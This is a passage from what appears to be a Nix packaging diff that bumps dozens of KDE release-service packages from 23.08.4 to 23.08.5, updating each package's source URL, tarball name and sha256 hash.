"18pvnfzd09ffxrz5g0whd7m342x14zpm0xmic4n7zxh5namaqzr9"; - name = "kate-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kate-23.08.5.tar.xz"; + sha256 = "0dsfiwd0v0chmcc0v2s193fdyals4ijpnq0bcssd9axjqkcljg38"; + name = "kate-23.08.5.tar.xz"; }; }; katomic = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/katomic-23.08.4.tar.xz"; - sha256 = "1vksy7qpc12r1y6ss42lqbxqigzbvlvlkggcs2jx399bafs6kf0l"; - name = "katomic-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/katomic-23.08.5.tar.xz"; + sha256 = "0hmc873kydzgrz0shz53qaii5bqm4rwh2c12w1d9xrml38yxpchd"; + name = "katomic-23.08.5.tar.xz"; }; }; kbackup = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kbackup-23.08.4.tar.xz"; - sha256 = "12sdg1c3bzyd25vf7z4d9a4z13hjhv7hhdzy9nq2w6v4qmkp28z9"; - name = "kbackup-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kbackup-23.08.5.tar.xz"; + sha256 = "0pxyqvn2m9q6qh77156vx7spjj53a4shn3sqqyvlqv7acxd4sv51"; + name = "kbackup-23.08.5.tar.xz"; }; }; kblackbox = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kblackbox-23.08.4.tar.xz"; - sha256 = "0c7bzkib99xx3gqah4j463rdvl39aq7nxh4wda0glik28s9w21kg"; - name = "kblackbox-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kblackbox-23.08.5.tar.xz"; + sha256 = "0n918g1146fpi2h86sphaxjqpad3ff9mawkh8wzr9jqb91bjw200"; + name = "kblackbox-23.08.5.tar.xz"; }; }; kblocks = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kblocks-23.08.4.tar.xz"; - sha256 = "0slpkdkwcffq71l4r5vsd0fh73y90zwxfyp0lm69n99p9ni8gjzq"; - name = "kblocks-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kblocks-23.08.5.tar.xz"; + sha256 = "09xadysjcxpkab805a4hdg9qsp9wv1jkbrmmy4dmbghv7rl9fjcg"; + name = "kblocks-23.08.5.tar.xz"; }; }; kbounce = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kbounce-23.08.4.tar.xz"; - sha256 = "0lp4cgjrm80355w4xa15ji91z5dsd55m43fhg8zw5yn6kp2hi2mg"; - name = "kbounce-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kbounce-23.08.5.tar.xz"; + sha256 = "1yxcy10bkz3wj48dys9ag4nm2r7acn7syfj76ss508mdysxw00gi"; + name = "kbounce-23.08.5.tar.xz"; }; }; kbreakout = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kbreakout-23.08.4.tar.xz"; - sha256 = "0czgfk93xhy9yhc84x2rdbf54dgyqjlhm71vfi5cs8858nacbwk5"; - name = "kbreakout-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kbreakout-23.08.5.tar.xz"; + sha256 = "0j5gcqvbpr9973bkzxsl0pcic4rbc3x5f9ry20cqb3z311mkhbyh"; + name = "kbreakout-23.08.5.tar.xz"; }; }; kbruch = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kbruch-23.08.4.tar.xz"; - sha256 = "1rnk6k1rs0nf8470mykas7srwyfpkw71sckgwz1mw9vd4v4mkb2w"; - name = "kbruch-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kbruch-23.08.5.tar.xz"; + sha256 = "10hiw23kpil059vsscpz0xssxj5x7036jvm84icgzj9vhbklfzfv"; + name = "kbruch-23.08.5.tar.xz"; }; }; kcachegrind = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcachegrind-23.08.4.tar.xz"; - sha256 = "011bsb9yxrjmazqs1s6fvzvga4mlhjpdvkifbxblqavwp3ipmwbw"; - name = "kcachegrind-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcachegrind-23.08.5.tar.xz"; + sha256 = "1dmpvg1h6zfwg25zl4rkkf43n7q5lyawyf1pa2q9s15hmnvqfrh5"; + name = "kcachegrind-23.08.5.tar.xz"; }; }; kcalc = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcalc-23.08.4.tar.xz"; - sha256 = "107q804sn2pvvw0l2wjqwaqiyqnn0cgfxxi5i4nbjvbcm28iwjbr"; - name = "kcalc-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcalc-23.08.5.tar.xz"; + sha256 = "0zj32xipmzq7bipdi5yj2wkig5sfgdhl0b7z9q5lhnzji5rxcig5"; + name = "kcalc-23.08.5.tar.xz"; }; }; kcalutils = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcalutils-23.08.4.tar.xz"; - sha256 = "17an9cnlcwgi1yqgy7qzw83y4a7jwkzlf0gd976hk90i6yz4krd4"; - name = "kcalutils-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcalutils-23.08.5.tar.xz"; + sha256 = "0gbahhzx14zd0rkwkpxxfhvs6dd9m3ajzajwrqyy6kd9zbfwgdlx"; + name = "kcalutils-23.08.5.tar.xz"; }; }; kcharselect = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcharselect-23.08.4.tar.xz"; - sha256 = "15cdm98cx74smkfdwwg5y1pi8wwaavp2088x5r99p8vhdccr782k"; - name = "kcharselect-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcharselect-23.08.5.tar.xz"; + sha256 = "11k3x06r9p7jgjl2rpkm10gkqkjj0ysrb7116482d20i09n348mz"; + name = "kcharselect-23.08.5.tar.xz"; }; }; kclock = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kclock-23.08.4.tar.xz"; - sha256 = "0ifd04hsjr2rsn7vb94p3yvf5znqij3i6w30w2nvykyrds0yrnsl"; - name = "kclock-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kclock-23.08.5.tar.xz"; + sha256 = "1cdqpcngg096vig7q04n0p9blrrxynphmkhq9y13vaywjvq744yx"; + name = "kclock-23.08.5.tar.xz"; }; }; kcolorchooser = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcolorchooser-23.08.4.tar.xz"; - sha256 = "135289j58pw2gh0vf3sjq4fz38jw9l4n4h7dqn7jm5ibc36f3iqg"; - name = "kcolorchooser-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcolorchooser-23.08.5.tar.xz"; + sha256 = "08dvjaczf88kv8ii754v30b6r1p8cm0l4r81jds7ffs23wcphan6"; + name = "kcolorchooser-23.08.5.tar.xz"; }; }; kcron = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kcron-23.08.4.tar.xz"; - sha256 = "06w518p82sclwychrzk9y0xmx1ir87yf9irqvvqq62bm479dq92k"; - name = "kcron-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kcron-23.08.5.tar.xz"; + sha256 = "0hnwkn2pvmmx9cqfchbwiw1pka893izs9pw7ina2am7x6x0y7s82"; + name = "kcron-23.08.5.tar.xz"; }; }; kde-dev-scripts = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kde-dev-scripts-23.08.4.tar.xz"; - sha256 = "056xymrzb6x7ixj75dcplhr198b0mw78kdfygf9ry0h8ma84gdmb"; - name = "kde-dev-scripts-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kde-dev-scripts-23.08.5.tar.xz"; + sha256 = "1wn1g8sgxw2hhc4w2xs0fh45yr6vbfizx5npxsr7qqnl9d2q5c8c"; + name = "kde-dev-scripts-23.08.5.tar.xz"; }; }; kde-dev-utils = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kde-dev-utils-23.08.4.tar.xz"; - sha256 = "06fzj033lm3jmidkkpywdl2sqymarvy97mhlb5kslsl7g9vkkili"; - name = "kde-dev-utils-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kde-dev-utils-23.08.5.tar.xz"; + sha256 = "10zfdznf0n57q18q9nqn3ckgx200m10laylyl20qv65kh4zzbp96"; + name = "kde-dev-utils-23.08.5.tar.xz"; }; }; kde-inotify-survey = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kde-inotify-survey-23.08.4.tar.xz"; - sha256 = "0ym04p4647y9amjypqv24mvgf6n0xmjm3zix8v0ywzmlxyd2fkjw"; - name = "kde-inotify-survey-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kde-inotify-survey-23.08.5.tar.xz"; + sha256 = "0qwcwzx25hvvais13bq2mdvhk0lsj8k8mw34h075rkhrbgir5j1q"; + name = "kde-inotify-survey-23.08.5.tar.xz"; }; }; kdebugsettings = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdebugsettings-23.08.4.tar.xz"; - sha256 = "1nhi0cq195bmg6hj4x4c59crjnpfkwsazz5wf52gdh2dmn4dxsk0"; - name = "kdebugsettings-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdebugsettings-23.08.5.tar.xz"; + sha256 = "042bw5jmdg9ahwxv24yg8yzcd7fr2xdnph4r83z4jiz7z8f01ccq"; + name = "kdebugsettings-23.08.5.tar.xz"; }; }; kdeconnect-kde = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdeconnect-kde-23.08.4.tar.xz"; - sha256 = "0wgqg3di4s8n43q6znr7lzphidi3mnghac4rjgjx08fs65da9m8b"; - name = "kdeconnect-kde-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdeconnect-kde-23.08.5.tar.xz"; + sha256 = "0r0d604nki60g0x06131hsn0fqdy59xi9iq9vlnvmf94z1kcshjb"; + name = "kdeconnect-kde-23.08.5.tar.xz"; }; }; kdeedu-data = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdeedu-data-23.08.4.tar.xz"; - sha256 = "002b6yvq0f2anr6avpawg8byx78mds0pw550ga5x0dikyp0xwzaj"; - name = "kdeedu-data-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdeedu-data-23.08.5.tar.xz"; + sha256 = "0d139xqm3iv5h7ns57wgxxm3rynvb80f991aa1dsc768170nbnli"; + name = "kdeedu-data-23.08.5.tar.xz"; }; }; kdegraphics-mobipocket = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdegraphics-mobipocket-23.08.4.tar.xz"; - sha256 = "1rqx2y9xfqn32xv4vb7j2pp6i0nc9a64llmbp6jzvazbv7yzlw7q"; - name = "kdegraphics-mobipocket-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdegraphics-mobipocket-23.08.5.tar.xz"; + sha256 = "1z53132pll7w0z2p4iifcny19ahgvqnk0bm0pdgi815hqwdsjkvi"; + name = "kdegraphics-mobipocket-23.08.5.tar.xz"; }; }; kdegraphics-thumbnailers = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdegraphics-thumbnailers-23.08.4.tar.xz"; - sha256 = "0i8h3whf4hh8ff0rivbkkr8v58y1jzwh4jpwb47vb1d0hlskzvw6"; - name = "kdegraphics-thumbnailers-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdegraphics-thumbnailers-23.08.5.tar.xz"; + sha256 = "0c3gk3badbparz327a1d2i78qwg335i2k36y4sh9s1zs74008nmh"; + name = "kdegraphics-thumbnailers-23.08.5.tar.xz"; }; }; kdenetwork-filesharing = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdenetwork-filesharing-23.08.4.tar.xz"; - sha256 = "1v2zvn228jc3s6rf362zbbrxilxqkjvvnjw1y5yhdnk9c3l5nglj"; - name = "kdenetwork-filesharing-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdenetwork-filesharing-23.08.5.tar.xz"; + sha256 = "1pkq11dn0gf841am57bg0i3m8dzx8bkbh2n3fp9452qbg0i6319z"; + name = "kdenetwork-filesharing-23.08.5.tar.xz"; }; }; kdenlive = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdenlive-23.08.4.tar.xz"; - sha256 = "04yk092z6hwblfn8y61ny72pxb7czd20lw2jmvrs05lf1l4i3ik5"; - name = "kdenlive-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdenlive-23.08.5.tar.xz"; + sha256 = "1nw338bfak806p77329z1wk401ql190l2lw4z4iw6mx2wrc69scs"; + name = "kdenlive-23.08.5.tar.xz"; }; }; kdepim-addons = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdepim-addons-23.08.4.tar.xz"; - sha256 = "1qxbz97gpn6gwqq40bxx6w75bd0slaah0wvf8mrir3x1b1h5kvrv"; - name = "kdepim-addons-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdepim-addons-23.08.5.tar.xz"; + sha256 = "1c24vlvqvfk0rfbq7z9mvjywjmf52h8xdziha8drgzk64spyklsq"; + name = "kdepim-addons-23.08.5.tar.xz"; }; }; kdepim-runtime = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdepim-runtime-23.08.4.tar.xz"; - sha256 = "188xgj7g5i76h6d6n8zw3qn965rm64aa8wiza92bq2hxihgj3hn2"; - name = "kdepim-runtime-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdepim-runtime-23.08.5.tar.xz"; + sha256 = "1xvpqlx1n3hcigdd19q3g1l86wvz1bdr0d9szilc2yqn5zb0f6zy"; + name = "kdepim-runtime-23.08.5.tar.xz"; }; }; kdesdk-kio = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdesdk-kio-23.08.4.tar.xz"; - sha256 = "1vz44a7261a538qhpn7ria56wa3zabbxgb33dqpzxapmsgnm0q01"; - name = "kdesdk-kio-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdesdk-kio-23.08.5.tar.xz"; + sha256 = "0dfgzm8q4raycjwc38g651gkz3m4jfl0hhc3ppvnpq71wapdjdvy"; + name = "kdesdk-kio-23.08.5.tar.xz"; }; }; kdesdk-thumbnailers = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdesdk-thumbnailers-23.08.4.tar.xz"; - sha256 = "0ibbfy5l1d5iv8m6sjwbw2f9s0kvzrvbi6k2j3gcf2a41y5hay3a"; - name = "kdesdk-thumbnailers-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdesdk-thumbnailers-23.08.5.tar.xz"; + sha256 = "1yz44jf3sm7ja2ifqqjdiipjz4g77dj9ywkzjrcbh0qby56497i5"; + name = "kdesdk-thumbnailers-23.08.5.tar.xz"; }; }; kdev-php = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdev-php-23.08.4.tar.xz"; - sha256 = "1l0g6jx3iz6k8vmjziazm4h21myi3qb80nflaydddcrd6bzrgh10"; - name = "kdev-php-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdev-php-23.08.5.tar.xz"; + sha256 = "0xrfgrs14mq7dkw4k90srkxxhrwq0r321s006qfpjyd4za7jjqr6"; + name = "kdev-php-23.08.5.tar.xz"; }; }; kdev-python = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdev-python-23.08.4.tar.xz"; - sha256 = "14xj96yv24qdsyz9cdiy1b14wp8w72iayyvqyp0w050p4i6cjvm3"; - name = "kdev-python-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdev-python-23.08.5.tar.xz"; + sha256 = "02knvrppybs76xmsyyz1q21lacdkxna14ws6mfcmb1rhpghlkgvs"; + name = "kdev-python-23.08.5.tar.xz"; }; }; kdevelop = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdevelop-23.08.4.tar.xz"; - sha256 = "1w3s6ncrbldsfm0ca6cryxf0d53d87k4iifcahq12acgrqmjpl4i"; - name = "kdevelop-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdevelop-23.08.5.tar.xz"; + sha256 = "1y71rvz19akdzsq7ky6w5aarj65lpbwa47nyyabi0vicyy3z4d6n"; + name = "kdevelop-23.08.5.tar.xz"; }; }; kdf = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdf-23.08.4.tar.xz"; - sha256 = "038ckjiikiy23gihxnznxlaf8wmni83hi9q2i4dms4956776rlfi"; - name = "kdf-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdf-23.08.5.tar.xz"; + sha256 = "0zqpxam34s22wv08cd4x49raswyqpvx0pcbszhgng8bb162bi3ma"; + name = "kdf-23.08.5.tar.xz"; }; }; kdialog = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdialog-23.08.4.tar.xz"; - sha256 = "0y6dchl3nv183hlkmwkmj654mhm3dvad3mkq8d2622jl73w9byld"; - name = "kdialog-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdialog-23.08.5.tar.xz"; + sha256 = "1p56dmndvaqbm9mw6hki5k4jr4p5w9sg26wvr13s7jcnyca21hqj"; + name = "kdialog-23.08.5.tar.xz"; }; }; kdiamond = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kdiamond-23.08.4.tar.xz"; - sha256 = "02ws8wr7adwcm3rl70zchl3kgc5jgr6j5wz07hswdwwl2nl2pd69"; - name = "kdiamond-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kdiamond-23.08.5.tar.xz"; + sha256 = "19kjg5r0260rim4gl5d1bi547p4mm2ac56pn6w423my8cjzdrgri"; + name = "kdiamond-23.08.5.tar.xz"; }; }; keditbookmarks = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/keditbookmarks-23.08.4.tar.xz"; - sha256 = "14xzjlyaqvg6qkjmw4d6540f5xawkd7sjxrvfa5bas623c1888ks"; - name = "keditbookmarks-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/keditbookmarks-23.08.5.tar.xz"; + sha256 = "1h8al2kryvfm7a45axxg0n72nr5myampbqyjgfqm1ibzkfgf4skd"; + name = "keditbookmarks-23.08.5.tar.xz"; }; }; keysmith = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/keysmith-23.08.4.tar.xz"; - sha256 = "11fm64h7pzsm63hw3cji033m9xk2hcnc0d74rzyvpn1ql3whn43n"; - name = "keysmith-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/keysmith-23.08.5.tar.xz"; + sha256 = "0nix18xvy3kdz1kw9a7annl8yy43f1x9a50him85dbkk9bn7731g"; + name = "keysmith-23.08.5.tar.xz"; }; }; kfind = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kfind-23.08.4.tar.xz"; - sha256 = "1psf1lwbnpnqp8snm4880awnxapv27b42nax6b8nxzf7mb5lqlkh"; - name = "kfind-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kfind-23.08.5.tar.xz"; + sha256 = "1j1fihfhdg1x5glayfz57xz2k9j54lyrnkj3i9x8pzvrkznfj55s"; + name = "kfind-23.08.5.tar.xz"; }; }; kfourinline = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kfourinline-23.08.4.tar.xz"; - sha256 = "0g5hml3jzz7p1jacxqqb2llvhv5p2g4j9wdvrplxf8cycwwd941n"; - name = "kfourinline-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kfourinline-23.08.5.tar.xz"; + sha256 = "1fnprcpm6jpdl0kzwjq2jq36swv3z3vvmxcnz5mzjl5gnh51223d"; + name = "kfourinline-23.08.5.tar.xz"; }; }; kgeography = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kgeography-23.08.4.tar.xz"; - sha256 = "06nvqn9mrpk1i14xwh9qv6g22hs2s64ip7lxjms4j3js304606wg"; - name = "kgeography-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kgeography-23.08.5.tar.xz"; + sha256 = "1wcy2fxrj73sa283n0xbj6zyrbgmhkxw4dn01w7kqix2afwa1wdm"; + name = "kgeography-23.08.5.tar.xz"; }; }; kget = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kget-23.08.4.tar.xz"; - sha256 = "0gmkizhgi2fwvvkycpcvj46ws3w5hgsz5ajy58857y1nam23293r"; - name = "kget-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kget-23.08.5.tar.xz"; + sha256 = "13pkvcp8sfl23l34lwnrgl80d8wcg7k5rvvzvzyafvkjy1xjpaif"; + name = "kget-23.08.5.tar.xz"; }; }; kgoldrunner = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kgoldrunner-23.08.4.tar.xz"; - sha256 = "02nslz7fz4d6d8gg4qb2flsciirqq0yxfgc0rp8r677gv2nfarmk"; - name = "kgoldrunner-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kgoldrunner-23.08.5.tar.xz"; + sha256 = "032v02z825d363yhbbyb6blaff7zwrg41k2jlzhhqldcnd814qpc"; + name = "kgoldrunner-23.08.5.tar.xz"; }; }; kgpg = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kgpg-23.08.4.tar.xz"; - sha256 = "12x2vyn63agqryjzk9dm9jdgxiaw685nv86ysbmmnf621qcvl13m"; - name = "kgpg-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kgpg-23.08.5.tar.xz"; + sha256 = "14l51g4m9vfwzmja3qknb6jdx43sqhgrdy5xnng401gfjhir2b1q"; + name = "kgpg-23.08.5.tar.xz"; }; }; khangman = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/khangman-23.08.4.tar.xz"; - sha256 = "1jj2ahaw9i5xv8jkqd8s9vrxnaz5aamq86ryq43jssrppm11r88x"; - name = "khangman-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/khangman-23.08.5.tar.xz"; + sha256 = "1xjnrlgwpccgjf0cawy7vh554l6jpnp4b2x3lp6s226s39y021s3"; + name = "khangman-23.08.5.tar.xz"; }; }; khelpcenter = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/khelpcenter-23.08.4.tar.xz"; - sha256 = "0j7dlnc5yn0bjvcc5811chy74rdkj1431lrl1czmyb1xl66bp52i"; - name = "khelpcenter-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/khelpcenter-23.08.5.tar.xz"; + sha256 = "1mvzflhiqgpvgk7a1av9hf6x2halxb32ppcy7f34q3m8apxnj3sc"; + name = "khelpcenter-23.08.5.tar.xz"; }; }; kidentitymanagement = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kidentitymanagement-23.08.4.tar.xz"; - sha256 = "16z86wi9n7l4ly4l3l0yzirqyrsqz1fngmad0cjcfhjkd29ncwwj"; - name = "kidentitymanagement-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kidentitymanagement-23.08.5.tar.xz"; + sha256 = "00bjswh55aciphzifmakw118v1pknk4bsfbpi8cjsjx24vpzgmxw"; + name = "kidentitymanagement-23.08.5.tar.xz"; }; }; kig = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kig-23.08.4.tar.xz"; - sha256 = "1bykhflf9xr408c9z7g76q5kczi4ara7wbv4hy6abwmn4qsaw52k"; - name = "kig-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kig-23.08.5.tar.xz"; + sha256 = "0pkh5l5nn70ag5fcld30n43i6mwfk9wxdq1bpm741pa0ji6vsq5g"; + name = "kig-23.08.5.tar.xz"; }; }; kigo = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kigo-23.08.4.tar.xz"; - sha256 = "1clb12pjlsqb2l4n7zp292gv7nd8bh543x75cz41d2l6zv59jlnd"; - name = "kigo-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kigo-23.08.5.tar.xz"; + sha256 = "1x4anmxcgd7jb39cmfc1klg1vqmp9lxpbwlab1m60542r5s7rh0a"; + name = "kigo-23.08.5.tar.xz"; }; }; killbots = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/killbots-23.08.4.tar.xz"; - sha256 = "1crcv5pr2avadrzv4vh9gls0gwflqvz8w2cjan7hb2xfnszphhp4"; - name = "killbots-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/killbots-23.08.5.tar.xz"; + sha256 = "0j1m8f3zmskk7m47i9vqfvrf3c7fd6bi23pwhlhraabixpd9wv9i"; + name = "killbots-23.08.5.tar.xz"; }; }; kimagemapeditor = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kimagemapeditor-23.08.4.tar.xz"; - sha256 = "1c3yclj7rrvkc3pis06h00i9cwll9grqvadrdfixmzfcdg7glf1w"; - name = "kimagemapeditor-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kimagemapeditor-23.08.5.tar.xz"; + sha256 = "036zj278mpfnh35h0qvwcjgb7661xkxnqccib3v55w0vdpn8y9hg"; + name = "kimagemapeditor-23.08.5.tar.xz"; }; }; kimap = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kimap-23.08.4.tar.xz"; - sha256 = "036liwpz7yzl192lbkhmasi5irw5884vrhj7qnnp6ihmh400b8as"; - name = "kimap-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kimap-23.08.5.tar.xz"; + sha256 = "0gbq8pc91a1ak0yg55m4xpi4zgz2dfajvxgwq0simnm7mhcj1za2"; + name = "kimap-23.08.5.tar.xz"; }; }; kio-admin = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kio-admin-23.08.4.tar.xz"; - sha256 = "1xlr94p6yh65v8spdp80hrjbw74iazzpwvxz94sizfv7vl64i3q5"; - name = "kio-admin-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kio-admin-23.08.5.tar.xz"; + sha256 = "0bksn8vpqwp0qfwyapbm33karf46hlmcmkhsybn6d8wljb44cq48"; + name = "kio-admin-23.08.5.tar.xz"; }; }; kio-extras = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kio-extras-23.08.4.tar.xz"; - sha256 = "0qfd92di1z59i8258640vsgrikkij73bjdxkfpp495cyrlhvr37n"; - name = "kio-extras-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kio-extras-23.08.5.tar.xz"; + sha256 = "0gr63gmnivxz5rfhfmky1skx8r5krqljdjyq8vxd97r3qwffrq0s"; + name = "kio-extras-23.08.5.tar.xz"; }; }; kio-gdrive = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = 